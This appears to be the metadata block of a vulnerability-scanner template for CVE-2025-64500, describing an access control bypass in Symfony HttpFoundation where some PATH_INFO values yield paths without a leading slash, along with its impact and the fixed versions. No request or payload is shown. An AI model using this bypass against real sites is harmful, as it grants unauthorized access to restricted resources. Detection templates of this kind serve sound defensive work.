id: CVE-2025-64500

info:
  name: Symfony HttpFoundation - Access Control Bypass via PATH_INFO
  author: DhiyaneshDk
  severity: high
  description: |
    Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
  impact: |
    Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.
  remediation: Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.
